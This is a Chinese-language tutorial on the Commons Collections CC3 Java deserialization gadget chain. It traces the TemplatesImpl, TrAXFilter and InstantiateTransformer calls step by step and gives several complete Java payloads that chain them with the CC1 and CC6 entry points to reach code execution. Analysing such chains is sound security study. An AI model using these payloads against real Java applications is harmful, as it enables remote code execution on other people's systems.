CC3鏈分析
1. CC3鏈背景
前面介紹了CC1和CC6,這兩條鏈子雖然前面的入口類不同
- CC1入口類是
AnnotationInvocationHandler
- CC6入口類是
HashMap
但是其觸發惡意程式碼的方式是相同的,都是InvokerTransformer.transform()
觸發Runtime.getRuntime().exec()
實現命令執行。
而在很多情況下,Runtime.getRuntime().exec()
方式會被伺服器所禁止(程式碼黑名單),導致最終利用鏈無法執行。
而除了Runtime.getRuntime().exec()
這種方式之外,還有別的方式能夠觸發惡意程式碼嗎?
答案是有的:就是透過類載入機制載入惡意類,執行惡意程式碼。
CC3鏈則是前面的入口類不變,而後面執行惡意程式碼利用的是類載入機制載入惡意類的方式。
2. CC3鏈環境
環境還是使用CC1鏈的環境:
Apache Commons Collections 3.2.1
JDK 8u66
3. CC3鏈中使用的動態類載入機制
通常情況下,實戰中使用動態類載入機制載入惡意類的方式有以下幾種:
- URLClassLoader 任意類載入
- ClassLoader.defineClass 位元組碼載入任意類(私有方法)
- Unsafe.defineClass 位元組碼載入(公有方法),但類不能直接生成,Spring中可以直接生成
而CC3鏈則是利用的ClassLoader.defineClass 位元組碼載入任意類(私有方法)
。
ClassLoader.defineClass 位元組碼載入任意類方式為:
// 獲取一個classLoader物件
ClassLoader cl = ClassLoader.getSystemClassLoader();
// 透過反射獲取到ClassLoad類中的defineClass方法物件
Method defineClassMethod = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
defineClassMethod.setAccessible(true);
// Test類的位元組碼
byte[] code = Files.readAllBytes(Paths.get("Test.class檔案路徑"));
// 相當於執行了 cl.defineClass("Test",code,0,code.length),即透過位元組碼建立了一個名為Test的類
Class c = (Class) defineClassMethod.invoke(cl,"Test",code,0,code.length);
// 對Test類例項化
Test testObj = c.newInstance();
4. TemplatesImpl類的利用方式
TemplatesImpl類的利用也是比較常用的,這裡單獨拿出來說一下~
當然也是CC3鏈中的一環。
4.1. TemplatesImpl類中的呼叫鏈
先定位到java/lang/ClassLoader
中的defineClass()
方法:
透過defineClass()
方法可以載入一個類位元組碼,生成一個類物件。如果類位元組碼中存在惡意的內容,則會執行。
接下來尋找一下哪裡呼叫了defineClass()
方法,和其他利用鏈一樣,最終需要找到readObject()
。
Alt+F7尋找一下defineClass()
方法的呼叫(注意選擇All Places)
找到TemplatesImpl.TransletClassLoader
中的defineClass()
繼續尋找TemplatesImpl.TransletClassLoader
中的defineClass()
方法的呼叫:
找到TemplatesImpl.defineTransletClasses
中的defineClass()
呼叫
繼續尋找defineTransletClasses()
方法的呼叫:
尋找到TemplatesImpl.getTransletInstance()
方法中存在其呼叫
需要getTransletInstance()
方法的呼叫:
尋找到TemplatesImpl.newTransformer()
方法中存在其呼叫
而TemplatesImpl.newTransformer()
方法由public修飾,可以直接呼叫
這裡可以先測試下這一呼叫關係,呼叫TemplatesImpl.newTransformer()
方法嘗試觸發動態類載入,實現惡意程式碼執行~
此時的呼叫鏈為:
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass
4.2. 構造TemplatesImpl類中的呼叫鏈的payload
接下來我們構造一下當前的呼叫鏈的payload,使其呼叫TemplatesImpl.newTransformer()
時,載入惡意類,觸發惡意程式碼。
透過剛才的分析,當呼叫到newTransformer()
方法時,會觸發一系列的呼叫,當然,我們要解決中間的一些“阻礙”。
首先建立一個TemplatesImpl
物件:
TemplatesImpl templates = new TemplatesImpl();
接下來呼叫newTransformer()
方法:
templates.newTransformer();
此時的整體程式碼為:
TemplatesImpl templates = new TemplatesImpl();
templates.newTransformer();
此時執行程式碼,並不會執行惡意程式碼,因為我們連惡意類位元組碼還沒呢!此時只是呼叫了newTransformer()
方法而已,呼叫鏈並不能成功執行下去。
但是我們開頭和結尾已經有了,接下來需要在中間將引數、限制條件等解決掉。
假如現在我們已經執行了newTransformer()
方法,那麼到底是什麼內容限制了呼叫鏈的成功執行呢?
一步一步看:
首先呼叫newTransformer()
方法後,我們透過呼叫鏈得知,接下來需要呼叫TemplatesImpl.getTransletInstance()
方法,而在newTransformer()
方法內部可以發現,並沒有什麼可以阻礙程式碼執行到getTransletInstance()
方法,所以這裡“過~”
接下來,是需要呼叫TemplatesImpl.defineTransletClasses()
方法,進入getTransletInstance()
方法看一下:
從這裡可以發現,這裡有兩道坎,一個是_name
,一個是_class
,我們需要滿足:
_name
不能為null_class
必須是null
因為這些屬性預設就是null,所以我們需要給_name
賦值,使其不是null。
透過檢視_name
屬性在該類中的賦值情況,發現並不好賦值,所以接下來我們透過反射,給_name
屬性賦值:
Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
此時payload程式碼如下:
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
templates.newTransformer();
此時執行,還是執行不成功。因為後面還是有別的限制的,繼續分析~
現在能成功呼叫defineTransletClasses()
方法了,根據呼叫鏈得知,接下來需要呼叫TransletClassLoader.defineClass()
方法。
進入到defineTransletClasses()
方法內部:
發現,這裡有一個限制,就是_bytecodes
屬性,不能為空,否則報異常。
看看_bytecodes
屬性,發現是一個二維陣列:
並且在呼叫defineClass()
方法的位置,_bytecodes[i]
會當做defineClass()
方法的引數傳入。
一步步進入defineClass()
方法後會發現,最後呼叫了ClassLoader.defineClass()
,當然這裡就是前面所說的呼叫鏈。
這裡我們關注_bytecodes[i]
引數,最終會成為ClassLoader.defineClass()
方法的byte[] b
,也就是說最終透過defineClass
方式載入的類位元組碼。
這裡先準備個.class的惡意檔案:
1)建立惡意類
2)構建專案
3)將生成的Test.class惡意檔案放入一個目錄中(隨意)
我這裡放的位置為:E:\_JavaProject\temp\Test.class
準備好.class
檔案之後,接下來給_bytecodes
屬性賦值,注意它是一個二維陣列,傳入defineClass()方法的是_bytecodes[i]
,所以我們載入的.class
檔案的位元組碼內容,應該放在_bytecodes[i]
處。
相關程式碼如下:
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
此時的payload為:
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
templates.newTransformer();
但是此時執行,還是不行。經過除錯,發現defineTransletClasses()
方法中用到的_tfactory
也不能為null:
接下來安裝同樣的方法,將_tfactory
也設定上內容,
檢視一下_tfactory
的型別:
發現是TransformerFactoryImpl
型別,但是被transient
修飾,也就是說不能進行序列化。
那這不完了嗎?我們所說的這個鏈是用於反序列化的,不能序列化那後面用不了啊 。
用不了的解釋:即使現在將_tfactory
手動賦值了,能完成此時的呼叫鏈執行,但是序列化的時候不會序列化進去,那反序列化的時候_tfactory
還是為空,執行到這的時候還是執行不下去~
但是~說巧不巧,TemplatesImpl
類的readObject()
方法中存在_tfactory
賦值:
這意味著什麼呢?
意味著,即使我們沒有將_tfactory
序列化進去,但是執行readObject()
即反序列的時候,同樣會給_tfactory
賦值!這樣就不用擔心_tfactory
為null了。
OK,接下來透過相同的方式給_tfactory
賦值:
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
此時完整的payload為:
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
// 賦值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
但是此時執行,還是執行不了。
並且報NullPointerException
空指標異常的錯誤。
當我們透過斷點除錯,發現
這裡有個判斷:
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
即動態載入的類的父類需要是ABSTRACT_TRANSLET
,即AbstractTranslet
。
如果不是,就會進入到else語句,而此時的_auxClasses為null,因此會報NullPointerException
空指標異常的錯誤。
這裡解決方式,也很簡單,不然語句進入else即可,即將我們動態載入的類繼承一下AbstractTranslet
即可。
因此,Test.java的程式碼修改為:
然後再載入其.class
即可。
5. CC1鏈和CC6鏈與TemplatesImpl類的結合使用
透過上面的分析,我們只需要執行templates.newTransformer()
,就可以實現惡意程式碼的執行。
那麼如何在反序列化時執行templates.newTransformer()
呢?其實方式很多,比如利用之前CC1和CC6鏈的前半段中的InvokerTransformer.transformer()
就可以執行任意方法。
在CC1鏈的分析中:使用
InvokerTransformer
物件呼叫transform()
方法,會以反射的方式執行任意方法。
所以我們也可以透過InvokerTransformer.transformer()
來執行templates.newTransformer()
,進而執行到惡意程式碼。
這裡就是解決CC1、CC6的前半段和TemplatesImpl類的命令執行實現的,其實和CC1、CC6也差不多,只是換了命令執行的方式:
- 之前是
Runtime.getRuntime().exec()
方式執行惡意程式碼。 - 現在是
templates.newTransformer()
動態類載入任意類方式執行惡意程式碼。
📌其實這種結合方式很多,各個鏈子之間也可以拆開組合,形成十幾條鏈子都是沒問題的~
5.1. CC1-1鏈與TemplatesImpl類結合使用
這裡的呼叫鏈是使用CC1-1鏈的前半段+TemplatesImpl類呼叫鏈。
sun.reflect.annotation.AnnotationInvocationHandler#readObject
org.apache.commons.collections.map.AbstractInputCheckedMapDecorator.MapEntry#setValue
org.apache.commons.collections.map.TransformedMap#checkSetValue
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass
在payload程式碼中只有transformerArray需要修改一下,其他都是一樣的。
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
// 賦值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
// 使用CC1鏈的前半段,只有transformerArray不同,其他都是一樣的
Transformer[] transformerArray = new Transformer[]{
// 傳入templates,返回templates,當做下一個transformer的呼叫者
new ConstantTransformer(templates),
// 這裡在反序列化時,會觸發templates.newTransformer()
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
HashMap map = new HashMap();
map.put("value","I am leyilea!");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");
5.2. CC1-2鏈與TemplatesImpl類結合使用
這裡的呼叫鏈是使用CC1-2鏈的前半段+TemplatesImpl類呼叫鏈。
sun.reflect.annotation.AnnotationInvocationHandler#readObject
sun.reflect.annotation.AnnotationInvocationHandler#invoke
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass
在payload程式碼中只有transformerArray需要修改一下,其他都是一樣的。
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
// 賦值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
// 使用CC1鏈的前半段,只有transformerArray不同,其他都是一樣的
Transformer[] transformerArray = new Transformer[]{
// 傳入templates,返回templates,當做下一個transformer的呼叫者
new ConstantTransformer(templates),
// 這裡在反序列化時,會觸發templates.newTransformer()
new InvokerTransformer("newTransformer",null,null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
LazyMap lazyMap = (LazyMap) LazyMap.decorate(new HashMap(), chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
InvocationHandler ih = (InvocationHandler)declaredConstructor.newInstance(Target.class, lazyMap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, ih);
mapProxy.entrySet();
InvocationHandler obj = (InvocationHandler)declaredConstructor.newInstance(Target.class, mapProxy);
SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");
}
5.3. CC6鏈與TemplatesImpl類結合使用
這裡的呼叫鏈是使用CC1-1鏈的前半段+TemplatesImpl類呼叫鏈。
java.util.HashMap#readObject()
java.util.HashMap#hash
org.apache.commons.collections.keyvalue.TiedMapEntry#hashCode
org.apache.commons.collections.keyvalue.TiedMapEntry#getValue
org.apache.commons.collections.map.LazyMap#get
org.apache.commons.collections.functors.ChainedTransformer#transform
org.apache.commons.collections.functors.InvokerTransformer#transform
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.TransletClassLoader.defineClass
java.lang.ClassLoader#defineClass
在payload程式碼中只有transformerArray需要修改一下,其他都是一樣的。
5.4. 呼叫鏈組合小總結
可以看到,很多呼叫鏈都是換湯不換藥,呼叫鏈包含以下三個部分:
- 入口類 source
- 呼叫鏈 gadget chain
- 執行類 sink
其中執行類sink有兩種:
Runtime.getRuntime().exec()
方式執行惡意程式碼。templates.newTransformer()
動態類載入任意類方式執行惡意程式碼。
而入口類source和呼叫鏈gadget chain可以有很多組合,Java反序列化CC呼叫鏈中都是不同的組合型別。
6. CC3鏈分析
有了以上的這些知識之後,再來分析CC3鏈會非常簡單(當然其他CC鏈也會非常好理解了)。
好,進入正題!
其實
CC3鏈
和“CC1-2和TemplatesImpl類
”的組合很相似。只是在中間的呼叫鏈部分多了一些內容。
6.1. TrAXFilter
在之前瞭解的TemplatesImpl
類的利用方式,我們需要執行TemplatesImpl.newTransformer()
來觸發動態類載入,執行惡意程式碼。
當時使用的是直接例項化TemplatesImpl
物件,然後呼叫newTransformer()
。
其實也可以尋找在哪裡有呼叫newTransformer()
方法,比如下面的TrAXFilter
類的構造方法中就存在其呼叫(這也是CC3鏈中使用的)。
在TrAXFilter
類的構造方法中,接收一個Templates
物件作為引數,而TemplatesImpl
類繼承自Templates
,所以TemplatesImpl
類的呼叫鏈中的TemplatesImpl
物件也可以當做其引數。
所以,我們可以將TemplatesImpl
類中的呼叫鏈的payload做一下簡單修改,同樣可以觸發惡意程式碼:
將
templates.newTransformer();
修改為
new TrAXFilter(templates);
此時會呼叫TrAXFilter
的構造方法,進而執行templates.newTransformer()
,
此時完整的payload程式碼如下:
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
// 賦值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
new TrAXFilter(templates);
可以看到,可以正常執行惡意程式碼:
那麼接下來繼續尋找TrAXFilter()
構造方法的呼叫,雖然有,但是不是我們想要的(這裡可以自行分析一下)。
接下來我們瞭解一個InstantiateTransformer
類,這是CC3鏈中使用到的,也是CC3鏈的重點。
6.2. InstantiateTransformer類的transform()
該InstantiateTransformer
類的構造方法和transform()
方法如下:
透過分析transform()
方法,會發現,它的作用是
- 將傳入的
input
物件先進行判斷,如果是Class物件則跳過判斷,進入後面的程式碼 - 後面的程式碼是透過
getConstructor()
方法獲取到input
類物件的構造方法物件Constructor
- 之後透過
newInstance()
方法,獲取到對應的input
類的例項物件之後返回 - 其中
iParamTypes
和iArgs
為對應方法的引數,在構造方法中有賦值
因此有了InstantiateTransformer
的transform()
方法,我們可以透過此方式來建立TrAXFilter
物件,即呼叫TrAXFilter
的構造方法,觸發惡意程式碼。
所以可以將new TrAXFilter(templates)
進行修改:
transform()
方法的引數input
為TrAXFilter.class
iParamTypes
屬性為TrAXFilter
構造方法的引數型別即new Class[]{Templates.class}
iArgs
屬性為TrAXFilter
構造方法的引數即new Object[]{templates}
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
instantiateTransformer.transform(TrAXFilter.class);
同樣可以執行惡意程式碼:
6.3. 完成最後的衝刺
那接下來就是尋找transform()
方法的呼叫,其實這裡可以接上CC1的前半部分呼叫鏈了,透過ChainedTransformer
來進行呼叫。即將instantiateTransformer
放入ChainedTransformer
鏈中,然後按照CC1的方式呼叫即可。
相關程式碼如下:
// templates.newTransformer();
// new TrAXFilter(templates);
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
// instantiateTransformer.transform(TrAXFilter.class);
Transformer[] transformerArray = new Transformer[]{
// 傳入TrAXFilter.class,返回TrAXFilter.class,當做下一個transform的引數
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
可以簡單整理一下:
Transformer[] transformerArray = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
6.3.1. 結合CC1-2鏈的呼叫鏈
所以完整payload就可以修改為如下:
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
// 賦值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] transformerArray = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
// 2. 建立LazyMap物件
LazyMap lazyMap = (LazyMap)LazyMap.decorate(new HashMap(), chainedTransformer);
// 3. TiedMapEntry.getValue()方法,會呼叫map.get(),其中將map屬性設定為LazyMap物件
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, new String());
// tiedMapEntry.getValue();
// 4. TiedMapEntry.hashCode()方法,會呼叫TiedMapEntry.getValue()
// tiedMapEntry.hashCode();
// 5. 完成HashMap.hash()及HashMap.readObject()
HashMap hashMap = new HashMap();
// 6. 解決hash提前觸發問題
// 1)獲取到tiedMapEntry的map屬性(map屬性存放的就是lazyMap)
Field mapField = tiedMapEntry.getClass().getDeclaredField("map");
mapField.setAccessible(true);
// 2)將map屬性設定為一個空的map物件(除上面建立的lazyMap都行)
mapField.set(tiedMapEntry,new HashMap());
// 3)執行之前的put操作,此時tiedMapEntry物件是不完整的
hashMap.put(tiedMapEntry,"aaa"); // 將tiedMapEntry當做key存入hashMap
// 4)完成put操作後,再將其設定為lazyMap物件
mapField.set(tiedMapEntry,lazyMap);
SerAndUnser.serialize(hashMap);
SerAndUnser.unserialize("ser.bin");
這裡結合的是CC1鏈的第2條CC1-2鏈,即LazyMap的方式,其實也可以使用CC1-1鏈,都是一樣的,只是呼叫方式有點不同。
6.3.2. 結合CC1-1鏈的呼叫鏈
相關的payload如下:
TemplatesImpl templates = new TemplatesImpl();
Class templatesClass = templates.getClass();
// 賦值_name
Field _nameField = templatesClass.getDeclaredField("_name");
_nameField.setAccessible(true);
_nameField.set(templates,"aaa");
// 賦值_bytecodes
Field _bytecodesField = templatesClass.getDeclaredField("_bytecodes");
_bytecodesField.setAccessible(true);
byte[] bytes = Files.readAllBytes(Paths.get("E:\\_JavaProject\\temp\\Test.class"));
byte[][] bytes1 = new byte[1][bytes.length];
bytes1[0]=bytes;
_bytecodesField.set(templates,bytes1); // 將要載入的類位元組碼放進去
// 賦值_tfactory
Field _tfactoryField = templatesClass.getDeclaredField("_tfactory");
_tfactoryField.setAccessible(true);
_tfactoryField.set(templates,new TransformerFactoryImpl());
Transformer[] transformerArray = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformerArray);
HashMap map = new HashMap();
map.put("value","I am leyilea!");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
Object obj = constructor.newInstance(Target.class, transformedMap);
SerAndUnser.serialize(obj);
SerAndUnser.unserialize("ser.bin");
7. CC1-1、CC1-2、CC3、CC6呼叫鏈總結
8. 參考連結
Java反序列化Commons-Collection篇03-CC3鏈 - 1vxyz - 部落格園 (cnblogs.com)